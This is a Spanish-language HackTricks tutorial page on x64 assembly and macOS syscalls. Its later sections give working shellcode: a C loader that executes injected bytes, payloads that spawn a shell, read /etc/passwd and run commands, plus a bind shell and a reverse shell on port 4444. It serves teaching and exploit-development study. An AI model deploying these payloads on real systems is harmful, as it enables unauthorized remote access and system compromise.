# Introducción a x64
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## **Introducción a x64** x64, también conocido como x86-64, es una arquitectura de procesador de 64 bits predominantemente utilizada en computación de escritorio y servidores. Originaria de la arquitectura x86 producida por Intel y luego adoptada por AMD con el nombre AMD64, es la arquitectura predominante en computadoras personales y servidores hoy en día. ### **Registros** x64 amplía la arquitectura x86, presentando **16 registros de propósito general** etiquetados `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, y `r8` a `r15`. Cada uno de estos puede almacenar un valor de **64 bits** (8 bytes). Estos registros también tienen sub-registros de 32 bits, 16 bits y 8 bits para compatibilidad y tareas específicas. 1. **`rax`** - Tradicionalmente utilizado para **valores de retorno** de funciones. 2. **`rbx`** - A menudo utilizado como un **registro base** para operaciones de memoria. 3. **`rcx`** - Comúnmente utilizado para **contadores de bucles**. 4. **`rdx`** - Utilizado en varios roles, incluyendo operaciones aritméticas extendidas. 5. **`rbp`** - **Puntero base** para el marco de pila. 6. **`rsp`** - **Puntero de pila**, manteniendo el seguimiento de la parte superior de la pila. 7. **`rsi`** y **`rdi`** - Utilizados para índices de **fuente** y **destino** en operaciones de cadenas/memoria. 8. **`r8`** a **`r15`** - Registros de propósito general adicionales introducidos en x64. ### **Convención de Llamadas** La convención de llamadas x64 varía entre sistemas operativos. Por ejemplo: * **Windows**: Los primeros **cuatro parámetros** se pasan en los registros **`rcx`**, **`rdx`**, **`r8`**, y **`r9`**. Los parámetros adicionales se empujan en la pila. El valor de retorno está en **`rax`**. * **System V (comúnmente utilizado en sistemas similares a UNIX)**: Los primeros **seis parámetros enteros o de puntero** se pasan en registros **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, y **`r9`**. El valor de retorno también está en **`rax`**. Si la función tiene más de seis entradas, el **resto se pasará en la pila**. **RSP**, el puntero de pila, debe estar **alineado a 16 bytes**, lo que significa que la dirección a la que apunta debe ser divisible por 16 antes de que ocurra cualquier llamada. Esto significa que normalmente necesitaríamos asegurarnos de que RSP esté correctamente alineado en nuestro shellcode antes de hacer una llamada a función. Sin embargo, en la práctica, las llamadas al sistema funcionan muchas veces incluso si este requisito no se cumple. ### Convención de Llamadas en Swift Swift tiene su propia **convención de llamadas** que se puede encontrar en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) ### **Instrucciones Comunes** Las instrucciones x64 tienen un conjunto rico, manteniendo la compatibilidad con las instrucciones x86 anteriores e introduciendo nuevas. * **`mov`**: **Mover** un valor de un **registro** o **ubicación de memoria** a otro. * Ejemplo: `mov rax, rbx` — Mueve el valor de `rbx` a `rax`. * **`push`** y **`pop`**: Empujar o sacar valores hacia/desde la **pila**. * Ejemplo: `push rax` — Empuja el valor en `rax` en la pila. * Ejemplo: `pop rax` — Saca el valor superior de la pila en `rax`. * **`add`** y **`sub`**: Operaciones de **adición** y **sustracción**. * Ejemplo: `add rax, rcx` — Suma los valores en `rax` y `rcx` almacenando el resultado en `rax`. * **`mul`** y **`div`**: Operaciones de **multiplicación** y **división**. Nota: estas tienen comportamientos específicos con respecto al uso de operandos. * **`call`** y **`ret`**: Utilizados para **llamar** y **volver de funciones**. * **`int`**: Utilizado para activar una **interrupción de software**. Por ejemplo, `int 0x80` se utilizaba para llamadas al sistema en Linux x86 de 32 bits. * **`cmp`**: **Comparar** dos valores y establecer las banderas de la CPU basadas en el resultado. * Ejemplo: `cmp rax, rdx` — Compara `rax` con `rdx`. * **`je`, `jne`, `jl`, `jge`, ...**: Instrucciones de **salto condicional** que cambian el flujo de control basado en los resultados de un `cmp` o prueba anterior. * Ejemplo: Después de una instrucción `cmp rax, rdx`, `je etiqueta` — Salta a `etiqueta` si `rax` es igual a `rdx`. * **`syscall`**: Utilizado para **llamadas al sistema** en algunos sistemas x64 (como Unix moderno). * **`sysenter`**: Una instrucción de **llamada al sistema** optimizada en algunas plataformas. ### **Prólogo de Función** 1. **Empujar el antiguo puntero base**: `push rbp` (guarda el puntero base del llamador) 2. **Mover el puntero de pila actual al puntero base**: `mov rbp, rsp` (establece el nuevo puntero base para la función actual) 3. **Asignar espacio en la pila para variables locales**: `sub rsp, ` (donde `` es el número de bytes necesarios) ### **Epílogo de Función** 1. **Mover el puntero base actual al puntero de pila**: `mov rsp, rbp` (desasigna las variables locales) 2. **Sacar el antiguo puntero base de la pila**: `pop rbp` (restaura el puntero base del llamador) 3. **Retornar**: `ret` (devuelve el control al llamador) ## macOS ### syscalls Hay diferentes clases de syscalls, puedes [**encontrarlas aquí**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:** ```c #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` Luego, puedes encontrar cada número de syscall [**en esta url**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } 2 AUE_FORK ALL { int fork(void); } 3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); } 4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); } 5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); } 6 AUE_CLOSE ALL { int close(int fd); } 7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); } 8 AUE_NULL ALL { int nosys(void); } { old creat } 9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); } 10 AUE_UNLINK ALL { int unlink(user_addr_t path); } 11 AUE_NULL ALL { int nosys(void); } { old execv } 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` ### Shellcodes Para compilar: {% code overflow="wrap" %} ```bash nasm -f macho64 shell.asm -o shell.o ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` Para extraer los bytes: {% code overflow="wrap" %} ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done # Another option otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g' ``` ```markdown {% endcode %}
Código en C para probar el shellcode ``` ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ```
#### Shell Tomado de [**aquí**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) y explicado. {% tabs %} {% tab title="con adr" %} ```armasm bits 64 global _main _main: call r_cmd64 db '/bin/zsh', 0 r_cmd64: ; the call placed a pointer to db (argv[2]) pop rdi ; arg1 from the stack placed by the call to l_cmd64 xor rdx, rdx ; store null arg3 push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {% endtab %} {% tab title="con pila" %} ```armasm bits 64 global _main _main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` #### Leer con cat El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un arreglo de parámetros (lo que en memoria significa una pila de direcciones). ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat" lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd" ; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"] push rsi ; Add "/etc/passwd" to the stack (arg0) push rdi ; Add "/bin/cat" to the stack (arg1) ; Set in the 2nd argument of exec the addr of the array mov rsi, rsp ; argv=rsp - store RSP's value in RSI xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ; Make the syscall section .data cat_path: db "/bin/cat", 0 passwd_path: db "/etc/passwd", 0 ``` #### Invocar comando con sh ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 32 ; Create space on the stack ; Argument array lea rdi, [rel touch_command] push rdi ; push &"touch /tmp/lalala" lea rdi, [rel sh_c_option] push rdi ; push &"-c" lea rdi, [rel sh_path] push rdi ; push &"/bin/sh" ; execve syscall mov rsi, rsp ; rsi = pointer to argument array xor rdx, rdx ; rdx = NULL (no env variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall _exit: xor rdi, rdi ; Exit status code 0 push 1 ; put 1 on the stack (exit syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall section .data sh_path: db "/bin/sh", 0 sh_c_option: db "-c", 0 touch_command: db "touch /tmp/lalala", 0 ``` #### Bind shell Bind shell de [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) en el **puerto 4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xffffffffa3eefdf0 neg rsi push rsi push rsp pop rsi ; bind(host_sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x68 syscall ; listen(host_sockid, 2) xor rsi, rsi mov sil, 0x2 mov rax, r8 mov al, 0x6a syscall ; accept(host_sockid, 0, 0) xor rsi, rsi xor rdx, rdx mov rax, r8 mov al, 0x1e syscall mov rdi, rax mov sil, 0x3 dup2: ; dup2(client_sockid, 2) ; -> dup2(client_sockid, 1) ; -> dup2(client_sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi mov rax, r8 mov al, 0x3b syscall ``` #### Reverse Shell Reverse shell de [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell a **127.0.0.1:4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xfeffff80a3eefdf0 neg rsi push rsi push rsp pop rsi ; connect(sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x62 syscall xor rsi, rsi mov sil, 0x3 dup2: ; dup2(sockid, 2) ; -> dup2(sockid, 1) ; -> dup2(sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi xor rdx, rdx mov rax, r8 mov al, 0x3b syscall ```
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).